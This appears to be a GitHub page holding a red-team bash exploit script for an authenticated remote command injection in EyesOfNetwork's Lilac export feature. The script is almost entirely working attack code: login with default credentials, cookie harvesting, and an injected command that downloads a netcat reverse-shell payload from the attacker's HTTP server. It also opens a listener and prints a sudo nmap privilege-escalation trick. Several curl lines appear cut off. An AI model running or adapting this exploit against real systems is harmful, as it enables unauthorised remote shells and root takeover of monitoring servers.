ArianeBlow / LilacPathVUln Public

Code Issues Pull requests Actions Projects Security Insights

main

LilacPathVUln / eon-pwn.sh

ArianeBlow Update eon-pwn.sh ... History

1 contributor

122 lines (103 sloc) | 5.43 KB

```
#!/bin/bash

#LocalHost VAR
LHOST=192.168.0.40
LPORT=9090

#RemoteHost VAR
RHOST=172.16.71.130
LOGIN=admin
PASSWORD=admin

###############################################
#              (Authentified)                 #
#         Remote Commande Execution           #
#              CVE-2021-33525                 #
#                                             #
#      Impacted version * =/>  5.3.11         #
#               ...........                   #
#                                             #
#         Scripted on 05/22/2021              #
#              By ArianeBlow                  #
#                                             #
###############################################



banner()
{
echo "                 ,*-."
echo '                 |  |'
echo '             ,.  |  |'
echo '             | |_|  | ,.'
echo '             `---.  |_| |'
echo '                 |  .--`'
echo "                 |  |"
echo "                 |  |"
echo ""
echo " ! DO NOT USE IF YOU DONT HAVE PERSMISSION !"
echo ""
echo "       EyesOfNetwork = / > 5.3.11"
echo ""
echo "            RedTeam Tool"
echo ""
echo "     Input verification desertion"
echo ""
echo "      Remote Commande Injection"
echo ""
echo ""
echo ""
}
banner

rm http.sh
rm listen.sh
rm payload.sh


#Start http server & create payload
touch payload.sh
echo "#!/bin/bash" > payload.sh
echo "nc -e /bin/bash $LHOST $LPORT" >> payload.sh


echo "gnome-terminal -e 'python3 -m http.server 9999'" >> http.sh
chmod +x http.sh
./http.sh

#Get AUTH Cookie
echo ""
echo "[-] Getting cookie ..."
echo ""
echo ""
curl -i -s -k -X $'POST' \
    -H $"Host: $RHOST" -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;
    -b $'PHPSESSID=' \
    --data-binary $"login=$LOGIN&mdp=$PASSWORD" \
    $"https://$RHOST/login.php" >> /tmp/logSploit.dat
COOKIE=$(cat /tmp/logSploit.dat | grep session_id= | cut -d "=" -f 2 | cut -d ";" -f 1)
```

```
echo "[+] sessions_id & PHPESSID greped for futher requests = $COOKIE"
echo ""
echo ""

#BLANK Job ID 2 for cleaning the remote temporary directory && starting first action
curl -i -s -k -X $'GET' \
    -H $"Host: $RHOST" -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;
    -b $"PHPSESSID=$COOKIE; session_id=$COOKIE; user_name=$LOGIN; user_id=1; user_limitation=0; group_id=1" \
    $"https://$RHOST/lilac/export.php?id=2&delete=2" >> /tmp/logSploit.dat

curl -i -s -k -X $'GET' \
    -H $"Host: $RHOST" -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;
    -b $"PHPSESSID=$COOKIE; session_id=$COOKIE; user_name=$LOGIN; user_id=1; user_limitation=0; group_id=1" \
    $"https://$RHOST/lilac/export.php?id=1&action=restart" >> /tmp/logSploit.dat


#Start Listener
echo "[+] Powned"
printf "\e[31;1m When the Reverse-Shell is etablished, you can PrivEsc with :\e[0m \n"
echo "echo 'os.execute("/bin/sh")' > /tmp/nmap.script"
echo "sudo nmap --script=/tmp/nmap.script"
echo ""
printf "\e[31;1m ... I Know ... \e[0m \n"
echo ""
echo "gnome-terminal -e 'nc -lnvp $LPORT'" >> listen.sh
chmod +x listen.sh
./listen.sh

#sending payload
# /srv/eyesofnetwork/nagios/bin/nagios -v /tmp/lilac-export-33/nagios.cfg && curl http://192.168.0.40:9999/test.sh -o /tmp/lilac-export-2/test.sh && chmod +x /tmp/lilac-export-2/te

curl -i -s -k -X $'POST' \
    -H $"Host: $RHOST" -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;
    -b $"PHPSESSID=$COOKIE; session_id=$COOKIE; user_name=$LOGIN; user_id=1; user_limitation=0; group_id=1" \
    --data-binary $"request=export&job_name=az&job_description=az&job_engine=NagiosExportEngine&preflight_check=on&restart_nagios=on&nagios_path=%2Fsrv%2Feyesofnetwork%2Fnagios%2F
    $"https://$RHOST/lilac/export.php" >> /tmp/logSploit.dat

#CLEAN
rm /tmp/logSploit.dat
echo ""
echo ""
echo "Exploit log in /tmp/log.dat"
echo ""
echo ""
```